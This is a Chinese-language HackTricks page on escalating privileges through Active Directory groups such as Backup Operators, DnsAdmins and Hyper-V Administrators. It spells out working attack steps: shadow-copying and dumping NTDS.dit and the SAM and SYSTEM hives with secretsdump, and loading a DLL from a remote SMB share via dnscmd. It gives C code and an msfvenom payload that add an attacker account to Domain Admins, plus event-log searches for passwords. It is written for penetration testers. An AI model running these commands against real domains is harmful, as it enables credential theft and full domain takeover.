hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
2023-08-03 19:12:22 +00:00

23 KiB
Raw Blame History

特权组

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

已知具有管理权限的组

  • Administrators
  • Domain Admins
  • Enterprise Admins

在安全评估中,还可以使用其他帐户成员和访问令牌权限,以在多个攻击向量之间进行链接。

帐户操作员

  • 允许在域上创建非管理员帐户和组
  • 允许在本地登录到 DC

获取组的成员

Get-NetGroupMember -Identity "Account Operators" -Recurse

请注意“spotless”用户的成员身份

然而,我们仍然可以添加新用户:

同时可以在本地登录到DC01

AdminSDHolder组

AdminSDHolder对象的访问控制列表ACL被用作将权限复制到Active Directory中的所有“受保护组”及其成员的模板。受保护组包括特权组如域管理员、管理员、企业管理员和模式管理员。
默认情况下此组的ACL会被复制到所有“受保护组”中。这样做是为了防止对这些关键组的故意或意外更改。然而如果攻击者修改了组AdminSDHolder的ACL例如给予一个普通用户完全权限那么这个用户将在受保护组内的所有组上拥有完全权限在一个小时内
如果有人在一个小时内尝试从域管理员中删除此用户(例如),那么该用户将重新加入该组。

获取组的成员

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse

将用户添加到AdminSDHolder组中:

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All

检查用户是否在Domain Admins组中:

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

如果你不想等一个小时你可以使用一个PowerShell脚本来立即进行恢复https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

在ired.team上获取更多信息。

AD回收站

这个组允许你读取已删除的AD对象。一些有趣的信息可能会在其中找到

#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

域控制器访问

请注意,我们无法使用当前成员身份访问域控制器上的文件:

然而,如果用户属于Server Operators组:

情况就会改变:

提权

使用PsService或Sysinternals中的sc命令来检查服务的权限。

C:\> .\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

[...]

[ALLOW] BUILTIN\Server Operators
All

这证实了Server Operators组具有SERVICE_ALL_ACCESS访问权限,这使我们对该服务拥有完全控制权。
您可以滥用此服务来使服务执行任意命令并提升权限。

备份操作员

Server Operators成员身份一样,如果我们属于Backup Operators,我们可以访问DC01文件系统

这是因为该组授予其成员SeBackupSeRestore特权。SeBackupPrivilege允许我们遍历任何文件夹并列出文件夹内容。这将使我们能够从文件夹中复制文件,即使没有其他权限也可以。但是,要滥用此权限复制文件,必须使用标志FILE_FLAG_BACKUP_SEMANTICS。因此,需要使用特殊工具。

为此,您可以使用这些脚本

获取该组的成员

Get-NetGroupMember -Identity "Backup Operators" -Recurse

本地攻击

# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled

# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege

# List Admin folder for example and steal a file
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite

AD攻击

例如,您可以直接访问域控制器文件系统:

您可以滥用此访问权限来窃取活动目录数据库**NTDS.dit,以获取域中所有用户和计算机对象的NTLM哈希**。

使用diskshadow,您可以在C驱动器和例如F驱动器上创建一个阴影副本。然后,您可以从此阴影副本中窃取NTDS.dit文件,因为系统不会使用它:

diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 10:34:16 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% F:
DISKSHADOW> end backup
DISKSHADOW> exit

与本地攻击类似,您现在可以复制特权文件 NTDS.dit

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

另一种复制文件的方法是使用robocopy

robocopy /B F:\Windows\NTDS .\ntds ntds.dit

然后,您可以轻松地窃取 SYSTEMSAM 文件:

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

最后,您可以从NTDS.dit获取所有哈希值

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

DnsAdmins

一个属于 DNSAdmins 组或者拥有对 DNS 服务器对象的 写权限 的用户可以在 DNS 服务器 上以 SYSTEM 权限加载一个 任意 DLL
这非常有趣,因为 域控制器 经常被用作 DNS 服务器

正如在这个 **** 文章 中所示,当 DNS 在域控制器上运行时(这是非常常见的情况),可以执行以下攻击:

  • DNS 管理是通过 RPC 进行的
  • ServerLevelPluginDll 允许我们以 零验证 DLL 路径的方式 加载 自定义 DLL。可以使用命令行中的 dnscmd 工具来完成此操作
  • DnsAdmins 组的成员运行下面的 dnscmd 命令时,HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll 注册表键将被填充
  • DNS 服务重新启动 时,将会加载此路径中的 DLL(即域控制器的机器帐户可以访问的网络共享)
  • 攻击者可以加载一个 自定义 DLL 来获取反向 shell,甚至加载像 Mimikatz 这样的工具作为 DLL 来转储凭据。

获取该组的 成员

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

执行任意DLL

然后,如果你有一个属于DNSAdmins组的用户,你可以让DNS服务器以SYSTEM权限加载任意DLLDNS服务以NT AUTHORITY\SYSTEM身份运行。你可以通过执行以下命令让DNS服务器加载一个本地或远程通过SMB共享的DLL文件

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll

可以在https://github.com/kazkansouh/DNSAdmin-DLL找到一个有效的DLL示例。我会将DnsPluginInitialize函数的代码更改为以下内容:

DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}

或者你可以使用msfvenom生成一个dll文件

msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

DNS服务启动或重新启动时,将创建一个新用户。

即使在DNSAdmin组中有一个用户默认情况下也无法停止和重新启动DNS服务。但是您可以尝试执行以下操作:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

了解更多关于此特权升级的信息请访问ired.team。

Mimilib.dll

正如在这篇文章中详细介绍的那样,也可以使用Mimikatz工具的创建者的mimilib.dll来通过修改kdns.c文件来执行我们选择的反向 shell一行命令或其他命令来获得命令执行的能力。

用于中间人攻击的WPAD记录

滥用DnsAdmins组权限的另一种方法是创建一个WPAD记录。在该组中的成员具有禁用全局查询阻止安全性的权限该权限默认情况下会阻止此攻击。Server 2008首次引入了在DNS服务器上添加到全局查询阻止列表的功能。默认情况下Web代理自动发现协议WPAD和站内自动隧道寻址协议ISATAP位于全局查询阻止列表中。这些协议非常容易被劫持任何域用户都可以创建包含这些名称的计算机对象或DNS记录。

禁用全局查询阻止列表并创建WPAD记录之后运行默认设置的WPAD的每台机器都将通过我们的攻击机器进行流量代理。我们可以使用诸如****Responder Inveigh 之类的工具来执行流量欺骗并尝试捕获密码哈希并离线破解它们或执行SMBRelay攻击。

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

事件日志读取器

事件日志读取器 ****组的成员具有访问生成的事件日志(例如新进程创建日志)的权限。在日志中可能包含敏感信息。让我们看看如何查看这些日志:

#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"

# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"

# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Exchange Windows权限

成员被授予写入域对象的DACL的能力。攻击者可以滥用此权限来授予用户DCSync权限。
如果在AD环境中安装了Microsoft Exchange则通常会发现用户帐户甚至计算机是该组的成员。

这个GitHub仓库解释了一些滥用该组权限来提升权限的技术

#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V管理员

Hyper-V管理员组具有对所有Hyper-V功能的完全访问权限。如果域控制器已经虚拟化,那么虚拟化管理员应被视为域管理员。他们可以轻松地创建一个实时域控制器的克隆,并挂载虚拟磁盘以离线获取**NTDS.dit**文件并提取域中所有用户的NTLM密码哈希。

这个博客也有详细记录,当删除一个虚拟机时,vmms.exe会尝试以NT AUTHORITY\SYSTEM的身份恢复相应的.vhdx文件的原始文件权限,而不是模拟用户。我们可以删除.vhdx文件,并创建一个本地硬链接将该文件指向一个受保护的SYSTEM文件,然后您将获得完全权限。

如果操作系统容易受到CVE-2018-0952CVE-2019-0841的攻击我们可以利用这一点来获得SYSTEM权限。否则我们可以尝试利用服务器上安装的以SYSTEM上下文运行的服务的应用程序,这些服务可以由非特权用户启动。

利用示例

一个例子是Firefox,它安装了**Mozilla Maintenance Service**。我们可以更新这个漏洞利用一个用于NT硬链接的概念验证来授予当前用户对下面文件的完全权限

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

获取文件的所有权

运行PowerShell脚本后我们应该对该文件拥有完全控制权并可以获取其所有权

C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

启动Mozilla维护服务

接下来,我们可以用一个恶意的maintenanceservice.exe文件替换这个文件,启动维护服务并以SYSTEM身份执行命令。

C:\htb> sc.exe start MozillaMaintenance

{% hint style="info" %} 这个漏洞已经在2020年3月的Windows安全更新中得到了缓解该更新改变了与硬链接相关的行为。 {% endhint %}

组织管理

在安装了Microsoft Exchange的环境中也有这个组。
该组的成员可以访问所有域用户的邮箱
该组还对名为Microsoft Exchange Security Groups的OU拥有完全控制权限,其中包含了组Exchange Windows Permissions(点击链接查看如何滥用该组进行权限提升)。

打印操作员

该组的成员被授予以下权限:

  • SeLoadDriverPrivilege
  • 本地登录到域控制器并关闭它
  • 对连接到域控制器的打印机进行管理、创建、共享和删除的权限

{% hint style="warning" %} 如果在非提升的上下文中使用命令whoami /priv未显示**SeLoadDriverPrivilege**则需要绕过UAC。 {% endhint %}

获取该组的成员

Get-NetGroupMember -Identity "Print Operators" -Recurse

查看此页面如何滥用SeLoadDriverPrivilege进行权限提升

{% content-ref url="../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md" %} abuse-seloaddriverprivilege.md {% endcontent-ref %}

远程桌面用户

该组的成员可以通过RDP访问计算机。
获取该组的成员

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

有关RDP的更多信息:

{% content-ref url="../../network-services-pentesting/pentesting-rdp.md" %} pentesting-rdp.md {% endcontent-ref %}

远程管理用户

该组的成员可以通过WinRM访问计算机。

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

关于WinRM的更多信息:

{% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %} 5985-5986-pentesting-winrm.md {% endcontent-ref %}

服务器操作员

该成员身份允许用户使用以下特权配置域控制器:

  • 允许本地登录
  • 备份文件和目录
  • ``SeBackupPrivilegeSeRestorePrivilege
  • 更改系统时间
  • 更改时区
  • 强制从远程系统关闭
  • 恢复文件和目录
  • 关闭系统
  • 控制本地服务

获取该组的成员

Get-NetGroupMember -Identity "Server Operators" -Recurse

参考资料

{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %}

{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}

{% embed url="https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory" %}

{% embed url="https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--" %}

{% embed url="https://adsecurity.org/?p=3658" %}

{% embed url="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" %}

{% embed url="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}

{% embed url="https://rastamouse.me/2019/01/gpo-abuse-part-1/" %}

{% embed url="https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13" %}

{% embed url="https://github.com/tandasat/ExploitCapcom" %}

{% embed url="https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp" %}

{% embed url="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys" %}

{% embed url="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e" %}

{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html" %}

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥